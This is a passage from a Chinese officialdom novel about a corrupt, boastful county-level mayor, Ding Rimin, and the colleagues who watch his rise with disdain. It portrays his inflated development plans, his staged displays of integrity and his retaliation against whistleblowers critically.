丁日民现在的事业可谓是如日中天,那当市长的感觉就是好,尤其是经历了一段时期的磨合以后,他的地位已经稳固了下来,没有人胆敢再对他持有任何反对意见。他说一不二、粗暴蛮横的作风得到了深入的执行,那些原本站在冯刚队伍后面采取观望态度的人,也慢慢地靠入了丁日民队伍的后面。官场上的人就是这样,大都见风使舵、趋利避害。当然,这也怪不得他们,如果不具备这个本领,也将早就被淘汰出局了。

只有高明一边死心塌地的维护着冯刚的利益,一边慨叹着这官场果真是世态炎凉、人心不古。倒是冯刚本人看得更淡些,一边安心干好本职工作,一边利用空闲时间看看报纸、练练书法。高明很佩服冯刚的沉稳与老练,从这一点上他也看到了自己与这个市委副书记的差距。高明曾经委婉地问过冯刚:“冯书记,你不觉得政府那边有些现象不正常么?我发现好像有些矛盾指向您呢!”冯刚听高明这么一说,停下了手中的笔,歪过头看了高明一眼,然后很认真地说道:“身在官场,难免会经历一些风言风语,重要的是摆正心态,你应该把仕途看成是生活中的一件平常事,这就好比我们的身体,不可能一辈子都是完好的,总会有病了的时候,病了不可怕,只要及时打针吃药,还是会好过来的。”高明若有所思地点了点头,这时冯刚又回过头去,认认真真地把余下的字写完。高明看到,原来冯刚写的是四个大字:心如明镜。那字体遒劲有力,宛如镌刻在了纸背上一样。

相对于市委的沉闷,政府那边却热闹得很,以丁日民为首的一班人,那创新的花招是一个接着一个。今天提出要搞招商引资上大项目,明天又征出一块地皮大搞开发建设,后天还要投资发展特色产业……好像不知道怎么折腾才好。口号也是喊得一个比一个响,说什么要“逐年进位,两年翻番,争取5年内进入中国十强县。”高明听了之后哭笑不得,天河市上一年全地区生产总值不过是78亿元,人均GDP才576美元,而中国十强县最末一位的华康县当年生产总值已经达到328亿元,人均GDP达5750美元。高明想,你就吹吧,就是人家华康县的经济停滞不前,五年后你也甭想赶上人家。更让高明感觉不可思议的是,天河市把牧业小区建设写进了国民经济与社会发展五年规划里,写就写吧,但是所列的数字实在令人震惊,说什么五年后要将商品猪发展到500万头,肉蛋鸡分别为8000万只和1000万只,肉奶牛100万头和2万头。这些数字差点让高明吐血,因为道理在那明摆着呢,如果真的实现了这个目标,那么天河市全年100万吨的粮食产量,别说是人吃了,就是这些牲畜吃也不够用。高明想,如果到了那时,漫山遍野都是牲畜在和人争抢食物,那树木花草都将被吃得精光,这将是何等壮观的一种景象啊!

虽然牛皮吹得大了些,但是丁日民可尝到了吹牛皮的甜头,每天报纸都是他的头条,配着他的大幅照片,说什么他是一个有魄力的市长,敢想敢干,有了他是天河市老百姓的福气。而且那些利益关系也逐渐向他靠拢,因为他实在是太有权了,批个地皮,建栋楼房,甚至发包个工程,哪个他说得不算?如果和他的关系搞好了,轻易就会赚个百八十万。当然,这也正是丁日民所期望的,他深深地明白,只有往大了“折腾”,才能创造出更多的搂钱机会,自己所得到的实惠也会越来越多。

虽然丁日民自己并不廉洁,但是他却没有忘记在人前装出廉洁的样子,甚至还煞有介事地利用过节的机会,主动向组织上缴5万元礼金,说这些都是别人送的,自己推辞不过,为了表示自己的清廉,现将这些礼金一并交公。不但如此,丁日民还利用一切公众场合,比如在电视讲话中,摆出一个廉政干部的形象,大讲经济发展和反腐倡廉之道,而且说到动情处也是语音高亢,一副誓死要将廉政建设进行到底的样子。

高明总是在想,也不知在全国的县级市中,究竟还有多少像丁日民这样的领导干部?高明认为肯定不会很多,但是也不能说就他丁日民一个。不过高明相信,这领导干部越是官职高,素质也相对越高,换作是地市级的领导干部,肯定不会像丁日民这个样子。高明就接触过省委和地委的一些要员,他们都很谦虚谨慎,说话和气,办事踏实。高明发现,往往就是这些县级市以下的官员们,不知道天高地厚,一副唯我独尊天不怕地不怕的样子。中央有好的方针政策到了他们这里,要么是执行不力,要么就是给你往邪了整,最终侵害的大都是人民群众的利益。不过高明也相信,就他丁日民这个样子,能侥幸当上市长也算是他家祖坟冒青烟了,高明估计他这市长也长久不到哪儿去,说不定哪天就会被撸下来。

其实,丁日民能当上市长毕竟也有他的道行,之所以他在高明眼里一无是处,那是因为高明看他时感情色彩浓了些。一个人无论是大奸大恶,身上也都有他的优点或者过人的地方。丁日民也不例外,客观地看,他确实是一个胆大心细的人,尤其在谋划一些事情上比较有头脑,即便是吹牛也吹得跟真的似的。而且丁日民说话办事比较侃块,基本上是说一不二,表面看来能够给人一种雷厉风行的假象。

一个领导干部,别人对他的评价无外乎有三种:一种是好的,一种是不好的,还有一种就是不好也不坏的。丁日民也同样如此,那些站在他队伍后面追捧他的人,自然会说他的好话;但是那些受过他打击迫害的人,也会在背后骂他;至于那些对政治漠不关心的一些人,则对丁日民没有什么感觉,随便他怎么样都可以。不过最近一段时期以来,有一个值得注意的现象是,骂丁日民的人是越来越多了。俗话说,群众的眼睛是雪亮的,无论你是贪官还是清官,时间久了都会在老百姓的眼睛里显形。不管丁日民怎样标榜自己,但是天河市的一些干部群众依然不买他的账,尤其是那些在他的政绩工程中利益受损的人,背地里都骂他是一个黑心市长,说他就会玩虚的,为了追求自己的政绩,坑害了大多数人的利益。而且,已经不断有揭发检举信飞向各级纪检监察部门了。当然,丁日民对此也早有察觉,但是他却自信这些人奈何不了他什么,早在五章县的时候,就曾经有人控告他,他还不是一样平安无事?在丁日民的为官哲学里,一个人要想做官,就得霸气些,至于被人告那也是在所难免的,只要将某些关键环节打通了,自然就会万事大吉。甚至那揭发检举信,曾经都有不少转到丁日民手里的,当然,他也暗中对检举人进行了不同方式的打击报复。